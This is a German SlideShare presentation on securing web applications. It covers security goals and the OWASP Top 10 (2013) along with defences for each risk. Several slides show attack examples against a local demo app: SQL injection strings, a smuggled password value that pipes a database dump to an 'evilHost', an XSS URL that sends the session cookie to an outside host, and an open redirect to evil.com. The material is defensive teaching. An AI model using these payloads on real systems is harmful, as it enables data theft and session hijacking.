Diese Präsentation wurde erfolgreich gemeldet.
Wir verwenden Ihre LinkedIn Profilangaben und Informationen zu Ihren Aktivitäten, um Anzeigen zu personalisieren und Ihnen relevantere Inhalte anzuzeigen. Sie können Ihre Anzeigeneinstellungen jederzeit ändern.
Sichere
Webanwendungen
Thomas Bachmann
Lead Software Architect & CIO
Mambu GmbH
Twitter: @thobach
● Core Banking System
○ Verwaltung von Kunden, Konten, Transaktionen
○ Buchhaltung, Dokumentenmanagement,
Kundenkommunikat...
IT-Sicherheit
● IT-Sicherheit bezeichnet einen Zustand, in dem die
Risiken, die beim Einsatz von Informationstechnik
aufgrund von Bedroh...
IT System &
DatenSchwachstellen
Bedrohung
/ Angriff
Maßnahmen
Risiken
IT-Sicherheit
Schutzziele der
IT-Sicherheit
● Sicherstellung von Datenzugriff nur für befugte Akteure
● Ausschluss von Beobachtung des Datentransfers oder
Manipulatio...
● Datenmanipulation nur durch befugte Akteure
● Gewährleistung der Nutzung von vollständigen,
korrekten und aktuellen Date...
● Verhältnis Ausfallzeit zur vereinbarten Zugänglichkeit
und Funktionsfähigkeit
○ (vereinbarte Servicezeit - Ausfallzeit) ...
● Authentizität: Echtheit des Systems mit dem ich
kommuniziere ist gewährleistet
○ z.B. Einsatz von SSL Zertifikaten
● Nic...
Soweit zur Theorie...
OWASP Top 10
Sicherheitsrisiken für
Webanwendungen
● A1: Injection
● A2: Fehler in Authentifizierung und Session-Management
● A3: Cross-Site Scripting (XSS)
● A4: Unsichere ...
● Interpretation von nicht-validierten Eingaben
● Angriffe
○ Daten auslesen, modifizieren, löschen
○ Befehle ausführen
● B...
Aber ich nutze doch JPA!
● Beispiele (continued):
○ OS Injection: parametrisierte Systemaufrufe, z.B.
MySQL Dump Wrapper: mysqldump -u “ +
dbUserna...
A1: Injection
● Schutz (1)
○ Allgemein
■ Eingabevalidierung und -bereinigung (Traue
keinem Client)
○ Zusätzlich gegen SQL ...
A1: Injection
● Schutz (2, continued)
○ Zusätzlich gegen Library Injection:
■ Testen ob Code ausgeführt wird
■ Quellcode r...
● Fehler in Authentifizierung und Session-Management
● Angriffe:
○ Existierende Session übernehmen
○ Fremde Session autori...
● Beispiele:
○ Session Fixation:
http://localhost:8080/owasp-top10/index.jsp
○ Session Cookie stehlen per XSS:
http://loca...
A2: Auth. und Session-Management
Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen
Existierende Session
übernehmen
Sess...
A2: Auth. und Session-Management
Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen
Fremde Session autorisieren Session ...
A2: Auth. und Session-Management
Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen
Identität stehlen (2, continued) Kom...
● Schwachstelle: Ungefilterte Ausgabe und Interpretation
von Eingabedaten
● Angriffsmöglichkeiten
○ Existierende Session ü...
A3: Cross Site Scripting (XSS)
● Schutz:
○ Eingabevalidierung (z.B. Länge, Regex, Whitelisting)
○ Bereinigung vor Persisti...
● URL (Parameter) Manipulation
● Angriffe
○ Zugriffe auf unberechtigte Informationen / Dateien
○ Ausführen unberechtigter ...
● Schutz
○ Rechtevalidierung bei jedem Aufruf (auch bei "private
Links")
○ Nutzung indirekter Referenzen auf Client Seite ...
● Öffnung des Systems durch fehlerhafte Konfiguration
● Angriffe durch
○ Standardpasswörter oder kein Passwort
○ öffentlic...
A5: Sicherheitsrelevante Fehlkonf.
● Schutz
○ Dokumentation bzgl. Produktionseinsatz beachten
○ Konfigurationsdateien lese...
A6: Verlust der Vertraulichkeit s. D.
● Beispiele
○ Ungeschützte Datenbanken, z.B. MongoDB
○ "Private" Links z.B. aus Drop...
● Schutz (1)
○ Risikomanagement
○ Datensparsamkeit (Erhebung & Löschung)
○ Starke Kryptographie (Algorithmen)
○ siehe Sich...
A6: Verlust der Vertraulichkeit s. D.
● Schutz (2)
○ Ende-zu-Ende Verschlüsselung der Daten (PGP)
○ Multi-Faktor-Authentif...
● Parameter Manipulation in Verbindung mit fehlender oder
fehlerhafter serverseitiger Rechte Prüfung
● Beispiel
○ Eingabep...
A7: Fehlerhafte Autorisierung a. AE.
Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen
Direkter Aufruf einer URL die
nu...
● Besuch einer Webseite löst ungewollt Aktion auf einer
anderen Webseite aus
● Beispiel
○ andere Webseite hat XSS Lücke
○ ...
● Bonus: Logout Button benutzen
A8: Cross-Site Req. Forgery (CSRF)
Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen
Bö...
● Scan oder Analyse der Anwendung gibt benutzte
Drittkomponenten preis, die ggf. veraltet und angreifbar
sind
● Beispiel:
...
Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen
1. Scan oder Analyse der
Anwendung auf genutzte
Komponenten und
Versi...
● Offene Um- oder Weiterleitungen ohne Prüfung durch die
der Nutzer vermutet es sei eine sichere Seite
● Beispiele
○ Weite...
● Schutzmaßnahmen
○ auf Weiterleitungen oder Umleitungen verzichten
○ oder Whitelisting verwenden und Autorisierung prüfen...
Weitere Vorgehensweise
● Sicherheitsziele und -policy festlegen und sensibilisieren
● Risikoprofil erstellen
○ Daten, Systeme, Angriffsmöglichkei...
● Anbieterauswahl (Vertrauen, Qualifikation, Beispiel
Reports, Kosten)
● Risikobasierter Ansatz, Risikoprofil, Umfang
● Pr...
Zusammenfassung
Technisch
● Client- und Serverseitige Eingabevalidierung
(Injection, XSS)
● Sessionmanagement (Autentifizierung, CSRF)
● S...
Menschen
● Ausbildung
● Sensibilisierung
Prozesse
● Risikomanagement (PDCA)
● Secure Coding Guidelines
● Code Reviews
Fragen und Feedback
Danke
Sichere Webanwendungen
Sichere Webanwendungen
Sichere Webanwendungen
Sichere Webanwendungen
Sichere Webanwendungen
Sichere Webanwendungen
Nächste SlideShare
Wird geladen in …5
×

Sichere Webanwendungen

818 Aufrufe

Veröffentlicht am

IT Sicherheit, Sicherheit bei Webanwendungen am Beispiel von OWASP Top 10

Veröffentlicht in: Software
  • Als Erste(r) kommentieren

  • Gehören Sie zu den Ersten, denen das gefällt!

Sichere Webanwendungen

  1. 1. Sichere Webanwendungen Thomas Bachmann Lead Software Architect & CIO Mambu GmbH Twitter: @thobach
  2. 2. ● Core Banking System ○ Verwaltung von Kunden, Konten, Transaktionen ○ Buchhaltung, Dokumentenmanagement, Kundenkommunikation, Aufgabenverwaltung ○ Produktsetup, Nutzer- und Rechtemanagement ● Sensible Kundendaten ○ Buchhaltung des Unternehmens ○ Endkundendaten (CRM) ○ Finanzdaten von Endkunden (Verhalten, Bonität) Anwendungsbeispiel
  3. 3. IT-Sicherheit
  4. 4. ● IT-Sicherheit bezeichnet einen Zustand, in dem die Risiken, die beim Einsatz von Informationstechnik aufgrund von Bedrohungen und Schwachstellen vorhanden sind, durch angemessene Maßnahmen auf ein tragbares Maß reduziert sind. ● IT-Sicherheit ist also der Zustand, in dem Vertraulichkeit, Integrität und Verfügbarkeit von Informationen und Informationstechnik durch angemessene Maßnahmen geschützt sind. (BSI) Definition IT-Sicherheit
  5. 5. IT System & DatenSchwachstellen Bedrohung / Angriff Maßnahmen Risiken IT-Sicherheit
  6. 6. Schutzziele der IT-Sicherheit
  7. 7. ● Sicherstellung von Datenzugriff nur für befugte Akteure ● Ausschluss von Beobachtung des Datentransfers oder Manipulation von Daten durch unbefugte Akteure ● Umsetzungsbeispiele ○ Einsatz von Authentifizierung, Autorisierung und Kryptographie zur Sicherstellung der Identität, Berechtigung und vertraulichen Übertragung Vertraulichkeit
  8. 8. ● Datenmanipulation nur durch befugte Akteure ● Gewährleistung der Nutzung von vollständigen, korrekten und aktuellen Daten ● Vermeidung von Datenkorruption ● Umsetzungsbeispiele ○ Berechtigungssystem zur Verhinderung der direkten Datenbank Manipulation des Kontostands durch Administrator ○ Checksummen ○ Logische Validierung der Integrität durch Fremdschlüssel Integrität
  9. 9. ● Verhältnis Ausfallzeit zur vereinbarten Zugänglichkeit und Funktionsfähigkeit ○ (vereinbarte Servicezeit - Ausfallzeit) / vereinbarte Servicezeit ○ Hochverfügbarkeit (99,99% Verfügbarkeit) ● Beispiel ○ Einsatz von redundanten, fehlertoleranten Systemen Verfügbarkeit
  10. 10. ● Authentizität: Echtheit des Systems mit dem ich kommuniziere ist gewährleistet ○ z.B. Einsatz von SSL Zertifikaten ● Nichtabstreitbarkeit: Akteur kann nicht abstreiten dass er die Aktivität getätigt hat ○ z.B. Einsatz von Audit Trails und Nutzung von MFA oder kryptographischen Signaturen ● Zurechenbarkeit: Zuordnung von Aktivitäten zu Akteuren ○ z.B. Einsatz von Audit Trails Authentizität, Nichtabstreitbarkeit, Zurechenbarkeit
  11. 11. Soweit zur Theorie...
  12. 12. OWASP Top 10 Sicherheitsrisiken für Webanwendungen
  13. 13. ● A1: Injection ● A2: Fehler in Authentifizierung und Session-Management ● A3: Cross-Site Scripting (XSS) ● A4: Unsichere direkte Objektreferenzen ● A5: Sicherheitsrelevante Fehlkonfiguration ● A6: Verlust der Vertraulichkeit sensibler Daten ● A7: Fehlerhafte Autorisierung auf Anwendungsebene ● A8: Cross-Site Request Forgery (CSRF) ● A9: Nutzung von Kompon. mit bekannten Schwachstellen ● (A10: Ungeprüfte Um- und Weiterleitungen) OWASP TOP 10 - Version 2013
  14. 14. ● Interpretation von nicht-validierten Eingaben ● Angriffe ○ Daten auslesen, modifizieren, löschen ○ Befehle ausführen ● Beispiele: SQL, LDAP, OS Injection ○ SQL Injection: ' or 1=1 or username=' (http://localhost:8080/owasp-top10/?filter=%27+or+1 %3D1+or+username%3D%27&filter=Submit) ■ Alle Nutzernamen aller Mandanten ■ Time-based Injection - alle Informationen A1: Injection
  15. 15. Aber ich nutze doch JPA!
  16. 16. ● Beispiele (continued): ○ OS Injection: parametrisierte Systemaufrufe, z.B. MySQL Dump Wrapper: mysqldump -u “ + dbUsername + “ -p“ + dbPassword + “ -h “ + DB_HOST + “ “ + DB_NAME mit dbPassword = “passw0rd -h realHost anyDb | mysql -u myUser -pmyPassw0rd -h evilHost myDb” A1: Injection
  17. 17. A1: Injection ● Schutz (1) ○ Allgemein ■ Eingabevalidierung und -bereinigung (Traue keinem Client) ○ Zusätzlich gegen SQL Injection: ■ Prepared Statements mit Platzhaltern ■ Keine String Konkatenation um SQL Befehle zu generieren
  18. 18. A1: Injection ● Schutz (2, continued) ○ Zusätzlich gegen Library Injection: ■ Testen ob Code ausgeführt wird ■ Quellcode review ob Eingaben / Dateien interpretiert werden ■ Informationen beim Anbieter einholen ■ Externe Penetrationstester drauf ansetzen
  19. 19. ● Fehler in Authentifizierung und Session-Management ● Angriffe: ○ Existierende Session übernehmen ○ Fremde Session autorisieren ○ Identität stehlen A2: Auth. und Session-Management
  20. 20. ● Beispiele: ○ Session Fixation: http://localhost:8080/owasp-top10/index.jsp ○ Session Cookie stehlen per XSS: http://localhost:8080/owasp-top10/index.jsp?filter=%3 Cscript%3Ex+%3D+new+XMLHttpRequest%28%29% 3B+x.open%28%22GET%22%2C+%22http%3A%2F %2Frequestb.in%2F1krxmqz1%3Fs%3D%22+%2B+d A2: Auth. und Session-Management
  21. 21. A2: Auth. und Session-Management Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen Existierende Session übernehmen Session Cookie per JS auslesbar (XSS) "HTTP only" Flag für Session Cookie setzen Unverschlüsselte Übertragung (HTTP im offenen WLAN) HTTPS erzwingen (Redirect von HTTP auf HTTPS), Secure Flag Session ID per URL geteilt (Browser Historie, geteilt per E-Mail, Apache Logs) URL Rewrite für Session IDs deaktivieren und Cookies verlangen Session läuft serverseitig nicht oder zu spät aus Kurze Session Expiry setzen & 2. Faktor hinzuziehen (IP Adresse, System Fingerprint) Session bei Logout nur auf Client Seite gelöscht (Cookie) Serverseitig Session zerstören
  22. 22. A2: Auth. und Session-Management Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen Fremde Session autorisieren Session Fixation (Nutzer authentifiziert meine Session ID) Bei Login neue Session ID generieren Identität stehlen (1) Erlauben unsicherer Passwörter Starke Passwortregeln (alphanumerisch, 14 Zeichen) Passwörter unsicher persistiert (ungehasht) Passwörter nur gehasht und gesalzen ablegen, z.B. BCrypt Demo Zugänge oder Standard Admin Passwörter Keine Testzugänge zulassen Keine Standard Passwörter benutzen
  23. 23. A2: Auth. und Session-Management Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen Identität stehlen (2, continued) Kompromittiertes Passwort durch Versand via E-Mail oder Login über HTTP Passwort (neu) setzen nur über HTTPS Login über HTTPS erzwingen (Redirect von HTTP auf HTTPS) Passwort Reset Link ohne Ablaufdatum oder mehrfache Nutzbarkeit Passwort Reset Links nach Einmal-Nutzung und spätestens 1h ablaufen lassen Passwort im Browser Passwort Safe gespeichert / Auto-Vervollständigung Auto-Completion für Login Formular deaktivieren (leider oft ignoriert)
  24. 24. ● Schwachstelle: Ungefilterte Ausgabe und Interpretation von Eingabedaten ● Angriffsmöglichkeiten ○ Existierende Session übernehmen ○ Informationen stehlen ○ Unbeabsichtigte Aktion ausführen ● Beispiel: ○ http://localhost:8080/owasp-top10/index.jsp?filter=%3 Cscript%3Ealert%28%22hi%22%29%3B%3C%2Fscri pt%3E&filter=Submit A3: Cross Site Scripting (XSS)
  25. 25. A3: Cross Site Scripting (XSS) ● Schutz: ○ Eingabevalidierung (z.B. Länge, Regex, Whitelisting) ○ Bereinigung vor Persistierung ○ Escaping der Ausgabe ○ Content Security Policies (CSP) ■ Content-Security-Policy: default-src 'self';
  26. 26. ● URL (Parameter) Manipulation ● Angriffe ○ Zugriffe auf unberechtigte Informationen / Dateien ○ Ausführen unberechtigter Aktionen ● Beispiel: http://localhost:8080/owasp-top10/user.jsp?userId=2 A4: Unsichere direkte Objektref.
  27. 27. ● Schutz ○ Rechtevalidierung bei jedem Aufruf (auch bei "private Links") ○ Nutzung indirekter Referenzen auf Client Seite und Umwandlung in Datenbank Referenz im Server A4: Unsichere direkte Objektref.
  28. 28. ● Öffnung des Systems durch fehlerhafte Konfiguration ● Angriffe durch ○ Standardpasswörter oder kein Passwort ○ öffentliche Erreichbarkeit von internen Servern A5: Sicherheitsrelevante Fehlkonf.
  29. 29. A5: Sicherheitsrelevante Fehlkonf. ● Schutz ○ Dokumentation bzgl. Produktionseinsatz beachten ○ Konfigurationsdateien lesen und verstehen ○ Schutzmechanismen auf mehreren Ebenen einbauen ■ Netzwerk: IP & Port Whitelisting ■ Netzwerk: Verschlüsselung der Verbindung ■ Netzwerk: DMZ z.B. mit Bastion Host der Zugriff nur per SSH-Tunnel erlaubt ■ Anwendung: Sichere Passwörter ■ Intrusion Detection / Prevention System
  30. 30. A6: Verlust der Vertraulichkeit s. D. ● Beispiele ○ Ungeschützte Datenbanken, z.B. MongoDB ○ "Private" Links z.B. aus Dropbox ○ Standardpasswörter oder unsichere Passwörter ○ Brute Force ○ Netzwerk belauschen (offenes WLAN, physikalischer Angriff) ○ Physischer Zugriff auf unverschlüsselte Backups ○ Schwache Kryptografie (MD5, SSLv3, TLS <1.2, RC4, schwache Zufallszahlen, kein / gleiches Salt, HTTP)
  31. 31. ● Schutz (1) ○ Risikomanagement ○ Datensparsamkeit (Erhebung & Löschung) ○ Starke Kryptographie (Algorithmen) ○ siehe Sicherheitsrelevante Fehlkonfiguration ○ siehe Unsichere direkte Objektreferenzen ○ Keine Verwendung von "Privaten" Links ○ Verschlüsselung des Netzwerkverkehrs A6: Verlust der Vertraulichkeit s. D.
  32. 32. A6: Verlust der Vertraulichkeit s. D. ● Schutz (2) ○ Ende-zu-Ende Verschlüsselung der Daten (PGP) ○ Multi-Faktor-Authentifizierung (Wissen, Besitzen) ■ Passwort ■ feste IP Adresse ■ zeitbasierte Einmalschlüssel / Time-based One-time Password Algorithm (TOTP)
  33. 33. ● Parameter Manipulation in Verbindung mit fehlender oder fehlerhafter serverseitiger Rechte Prüfung ● Beispiel ○ Eingabeparameter Manipulation bei nur clientseitige Eingabevalidierung: curl 'http://localhost:8080/owasp-top10 /user.jsp?userId=1' --data 'userId=1& username=abcdef' ○ Referenzierung von Objekten ohne Zugriffsrechte A7: Fehlerhafte Autorisierung a. AE.
  34. 34. A7: Fehlerhafte Autorisierung a. AE. Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen Direkter Aufruf einer URL die nur höher privilegierte Nutzer in der Oberfläche sehen Fehlende serverseitige Rechteprüfung bei jedem Aufruf und Ressourcenzugriff Serverseitige Rechteprüfung für alle Funktionen und Ressourcen inkl. abhängigen Sub-Ressourcen Relevante Autorisierung wird als Anfrageparameter (z.B. Rolle im Cookie) übergeben Speicherung von Berechtigungen in Session oder Echtzeit Rechte Abfrage auf Datenbank bei jeder Aktion Manipulation von Daten außerhalb meines Sichtbarkeitsbereichs Fehlende serverseitige Rechteprüfung bei jedem Aufruf und Ressourcenzugriff Serverseitige Rechteprüfung für alle Funktionen und Ressourcen inkl. abhängigen Sub-Ressourcen die als Parameter übergeben werden
  35. 35. ● Besuch einer Webseite löst ungewollt Aktion auf einer anderen Webseite aus ● Beispiel ○ andere Webseite hat XSS Lücke ○ bösartige Webseite ■ file:///Users/thobach/Documents/MyMam bu_Workspace/owasp-top10/static/evil- website.html ○ bösartige Werbeanzeige auf gutartiger Webseite A8: Cross-Site Req. Forgery (CSRF)
  36. 36. ● Bonus: Logout Button benutzen A8: Cross-Site Req. Forgery (CSRF) Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen Böswilliges oder manipuliertes img oder iframe Tag, JavaScript oder Formular auf dritter Webseite Kein unvorhersehbarer geheimer Token bei jeder Anfrage mitgesendet bzw. kein zweiter Faktor bei sensiblen Anfragen verlangt CSRF Token bei Login erzeugen und jedem Request im Payload mitsenden (nicht Cookie, z.B. hidden input Feld) und serverseitig prüfen (z.B. Servlet Filter) Captcha, Passwort erneut verlangen, TAN Access-Control-Allow-Or igin: * Same-origin Policy
  37. 37. ● Scan oder Analyse der Anwendung gibt benutzte Drittkomponenten preis, die ggf. veraltet und angreifbar sind ● Beispiel: ○ Response Header Server weist auf Tomcat hin ○ Fehlermeldung zeigt Tomcat Version: http://localhost:8080/owasp-top10/user.jsp?userId= ○ Heartbleed (OpenSSL / CVE-2014-0160) A9: N. v. K. m. bekannten Schwachst. HTTP/1.1 200 OK Server: Apache-Coyote/1.1
  38. 38. Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen 1. Scan oder Analyse der Anwendung auf genutzte Komponenten und Versionen 2. Ausnutzen von Sicherheitslücken in genutzten Komponenten Preisgeben der genutzte Komponenten und Versionen (security through obscurity) Fehlerseiten im Produktivbetrieb deaktivieren Server Response Header überschreiben Ausnutzen bekannter Schwachstellen (Injection, XSS, CSRF, Konfiguration, Kryptographie) Nutzung aktueller Versionen (aktives Dependency Management, Dependency Tree) Nutzung sicherer Komponenten (Framework/Library Management) Härten der genutzten Komponenten (Konfiguration) A9: N. v. K. m. bekannten Schwachst.
  39. 39. ● Offene Um- oder Weiterleitungen ohne Prüfung durch die der Nutzer vermutet es sei eine sichere Seite ● Beispiele ○ Weiterleitung von vertrauenswürdiger URL z.B. auf Phishing Seite: http://www.example.com/redirect.jsp?url=evil.com ○ Weiterleitung auf interne Seite für die keine Berechtigung existiert: http://www.example.com/boring.jsp?fwd=admin.jsp A10: Ungeprüfte Um- und Weiterleitg.
  40. 40. ● Schutzmaßnahmen ○ auf Weiterleitungen oder Umleitungen verzichten ○ oder Whitelisting verwenden und Autorisierung prüfen A10: Ungeprüfte Um- und Weiterleitg.
  41. 41. Weitere Vorgehensweise
  42. 42. ● Sicherheitsziele und -policy festlegen und sensibilisieren ● Risikoprofil erstellen ○ Daten, Systeme, Angriffsmöglichkeiten, Schutzmaßnahmen und konkrete Umsetzungsmöglichkeiten erfassen und priorisieren ● Implementierung anhand Priorisierung ● Interner Test ● Externer Penetrationstest ● Prozess: PDCA ● “Tue Gutes und sprich darüber” - Sichtbarkeit beim Mgmt. Risikomanagement
  43. 43. ● Anbieterauswahl (Vertrauen, Qualifikation, Beispiel Reports, Kosten) ● Risikobasierter Ansatz, Risikoprofil, Umfang ● Projektansatz ● Umsetzung der Ergebnissen einplanen ● Re-Test zumindest bei erstem externen Test einplanen ● Abstand von Sicherheitszertifizierungen für Anwendungen ● Frequenz, Anbieterwechsel, Umfang ● 5 Whys Meeting (Prozessprobleme) Erfahrungen mit ext. Penetrationstests
  44. 44. Zusammenfassung
  45. 45. Technisch ● Client- und Serverseitige Eingabevalidierung (Injection, XSS) ● Sessionmanagement (Autentifizierung, CSRF) ● Serverseitige Rechteprüfung ● Layered Security / Defense in Depth ● Aktuelle, hochwertige, wohl-konfigurierte Dependencies ● Starke Verschlüsselung (Transport & Ruhe)
  46. 46. Menschen ● Ausbildung ● Sensibilisierung
  47. 47. Prozesse ● Risikomanagement (PDCA) ● Secure Coding Guidelines ● Code Reviews
  48. 48. Fragen und Feedback
  49. 49. Danke

×